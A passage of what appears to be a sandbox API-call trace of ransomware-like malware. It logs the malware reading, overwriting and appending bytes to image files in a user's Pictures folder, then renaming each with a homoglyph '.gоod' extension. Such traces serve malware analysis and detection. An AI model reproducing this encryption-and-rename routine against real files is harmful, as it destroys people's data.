out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0160.216] ReadFile (in: hFile=0x7fc, lpBuffer=0x35b4dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x35b4dd0*, lpNumberOfBytesRead=0x202ee1a8*=0x696, lpOverlapped=0x0) returned 1 [0160.216] CloseHandle (hObject=0x7fc) returned 1 [0160.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", lpFilePart=0x0) returned 0x27 [0160.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4br56stpsy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.217] GetFileType (hFile=0x7fc) returned 0x1 [0160.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.217] GetFileType (hFile=0x7fc) returned 0x1 [0160.217] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1696 [0160.217] WriteFile (in: hFile=0x7fc, lpBuffer=0x35b6028*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x35b6028*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0160.217] CloseHandle (hObject=0x7fc) returned 1 [0160.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", lpFilePart=0x0) returned 0x27 [0160.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4br56stpsy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.217] GetFileType (hFile=0x7fc) returned 0x1 [0160.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.217] GetFileType (hFile=0x7fc) returned 0x1 [0160.217] ReadFile (in: hFile=0x7fc, lpBuffer=0x35b82a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x35b82a8*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0160.244] CloseHandle (hObject=0x7fc) returned 1 [0160.244] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", lpFilePart=0x0) returned 0x27 [0160.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4br56stpsy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.245] GetFileType (hFile=0x7fc) returned 0x1 [0160.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.245] GetFileType (hFile=0x7fc) returned 0x1 [0160.245] WriteFile (in: hFile=0x7fc, lpBuffer=0x35b7040*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x35b7040*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0160.245] CloseHandle (hObject=0x7fc) returned 1 [0160.245] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp", lpFilePart=0x0) returned 0x27 [0160.245] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp.gоod", lpFilePart=0x0) returned 0x2c [0160.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0160.245] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4br56stpsy.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2494a100, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0xe387ecf0, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0x5bba8d5a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16a6)) returned 1 [0160.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0160.245] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4br56stpsy.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4Br56sTPsy.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\4br56stpsy.bmp.gоod")) returned 1 [0160.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", lpFilePart=0x0) returned 0x24 [0160.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0160.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4kn8ex-.gif"), fInfoLevelId=0x0, lpFileInformation=0x36345a8 | out: lpFileInformation=0x36345a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d42c2b0, ftCreationTime.dwHighDateTime=0x1d4d400, ftLastAccessTime.dwLowDateTime=0xbc8a9f90, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0xbc8a9f90, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0x15dd1)) returned 1 [0160.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0160.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", lpFilePart=0x0) returned 0x24 [0160.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4kn8ex-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.246] GetFileType (hFile=0x7fc) returned 0x1 [0160.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.246] GetFileType (hFile=0x7fc) returned 0x1 [0160.246] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0160.246] ReadFile (in: hFile=0x7fc, lpBuffer=0x3634930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3634930*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0160.246] CloseHandle (hObject=0x7fc) returned 1 [0160.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", lpFilePart=0x0) returned 0x24 [0160.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4kn8ex-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.247] GetFileType (hFile=0x7fc) returned 0x1 [0160.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.247] GetFileType (hFile=0x7fc) returned 0x1 [0160.247] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x15dd1 [0160.247] WriteFile (in: hFile=0x7fc, lpBuffer=0x3635b80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3635b80*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0160.247] CloseHandle (hObject=0x7fc) returned 1 [0160.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", lpFilePart=0x0) returned 0x24 [0160.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4kn8ex-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.247] GetFileType (hFile=0x7fc) returned 0x1 [0160.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.247] GetFileType (hFile=0x7fc) returned 0x1 [0160.247] ReadFile (in: hFile=0x7fc, lpBuffer=0x3637df8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3637df8*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0160.459] CloseHandle (hObject=0x7fc) returned 1 [0160.459] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", lpFilePart=0x0) returned 0x24 [0160.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.459] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4kn8ex-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.459] GetFileType (hFile=0x7fc) returned 0x1 [0160.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.459] GetFileType (hFile=0x7fc) returned 0x1 [0160.459] WriteFile (in: hFile=0x7fc, lpBuffer=0x34b9398*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x34b9398*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0160.459] CloseHandle (hObject=0x7fc) returned 1 [0160.460] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif", lpFilePart=0x0) returned 0x24 [0160.460] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif.gоod", lpFilePart=0x0) returned 0x29 [0160.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0160.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4kn8ex-.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d42c2b0, ftCreationTime.dwHighDateTime=0x1d4d400, ftLastAccessTime.dwLowDateTime=0xbc8a9f90, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0x5bdbec96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x15de1)) returned 1 [0160.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0160.460] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\4kn8ex-.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4KN8ex-.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\4kn8ex-.gif.gоod")) returned 1 [0160.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", lpFilePart=0x0) returned 0x22 [0160.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0160.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\8t0io.gif"), fInfoLevelId=0x0, lpFileInformation=0x359aad0 | out: lpFileInformation=0x359aad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ceb8d20, ftCreationTime.dwHighDateTime=0x1d4d163, ftLastAccessTime.dwLowDateTime=0x174c15c0, ftLastAccessTime.dwHighDateTime=0x1d4d4ad, ftLastWriteTime.dwLowDateTime=0x174c15c0, ftLastWriteTime.dwHighDateTime=0x1d4d4ad, nFileSizeHigh=0x0, nFileSizeLow=0x5ffd)) returned 1 [0160.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0160.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", lpFilePart=0x0) returned 0x22 [0160.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\8t0io.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.461] GetFileType (hFile=0x7fc) returned 0x1 [0160.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.461] GetFileType (hFile=0x7fc) returned 0x1 [0160.461] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0160.461] ReadFile (in: hFile=0x7fc, lpBuffer=0x359ae48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x359ae48*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0160.462] CloseHandle (hObject=0x7fc) returned 1 [0160.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", lpFilePart=0x0) returned 0x22 [0160.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\8t0io.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.462] GetFileType (hFile=0x7fc) returned 0x1 [0160.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.462] GetFileType (hFile=0x7fc) returned 0x1 [0160.462] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x5ffd [0160.462] WriteFile (in: hFile=0x7fc, lpBuffer=0x359c090*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x359c090*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0160.462] CloseHandle (hObject=0x7fc) returned 1 [0160.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", lpFilePart=0x0) returned 0x22 [0160.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0160.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\8t0io.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0160.463] GetFileType (hFile=0x7fc) returned 0x1 [0160.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0160.463] GetFileType (hFile=0x7fc) returned 0x1 [0160.463] ReadFile (in: hFile=0x7fc, lpBuffer=0x359e300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x359e300*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0161.642] CloseHandle (hObject=0x7fc) returned 1 [0161.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", lpFilePart=0x0) returned 0x22 [0161.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0161.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\8t0io.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0161.642] GetFileType (hFile=0x7fc) returned 0x1 [0161.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0161.642] GetFileType (hFile=0x7fc) returned 0x1 [0161.642] WriteFile (in: hFile=0x7fc, lpBuffer=0x34bbd18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x34bbd18*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0161.642] CloseHandle (hObject=0x7fc) returned 1 [0161.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif", lpFilePart=0x0) returned 0x22 [0161.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif.gоod", lpFilePart=0x0) returned 0x27 [0161.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0161.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\8t0io.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ceb8d20, ftCreationTime.dwHighDateTime=0x1d4d163, ftLastAccessTime.dwLowDateTime=0x174c15c0, ftLastAccessTime.dwHighDateTime=0x1d4d4ad, ftLastWriteTime.dwLowDateTime=0x5c8ebe90, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x600d)) returned 1 [0161.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0161.643] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\8t0io.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\8T0iO.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\8t0io.gif.gоod")) returned 1 [0161.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", lpFilePart=0x0) returned 0x2b [0161.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0161.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\absnozjyz93jpn.jpg"), fInfoLevelId=0x0, lpFileInformation=0x35494e8 | out: lpFileInformation=0x35494e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d50e4d0, ftCreationTime.dwHighDateTime=0x1d4ca8f, ftLastAccessTime.dwLowDateTime=0x1ec7dab0, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x1ec7dab0, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x16aa8)) returned 1 [0161.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0161.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", lpFilePart=0x0) returned 0x2b [0161.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0161.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\absnozjyz93jpn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0161.644] GetFileType (hFile=0x7fc) returned 0x1 [0161.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0161.644] GetFileType (hFile=0x7fc) returned 0x1 [0161.644] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0161.644] ReadFile (in: hFile=0x7fc, lpBuffer=0x35498a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x35498a0*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0161.644] CloseHandle (hObject=0x7fc) returned 1 [0161.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", lpFilePart=0x0) returned 0x2b [0161.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0161.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\absnozjyz93jpn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0161.645] GetFileType (hFile=0x7fc) returned 0x1 [0161.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0161.645] GetFileType (hFile=0x7fc) returned 0x1 [0161.645] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x16aa8 [0161.645] WriteFile (in: hFile=0x7fc, lpBuffer=0x354ab08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x354ab08*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0161.645] CloseHandle (hObject=0x7fc) returned 1 [0161.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg", lpFilePart=0x0) returned 0x2b [0161.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0161.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\abSNOzJyZ93JPN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\absnozjyz93jpn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0161.645] GetFileType (hFile=0x7fc) returned 0x1 [0161.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0161.645] GetFileType (hFile=0x7fc) 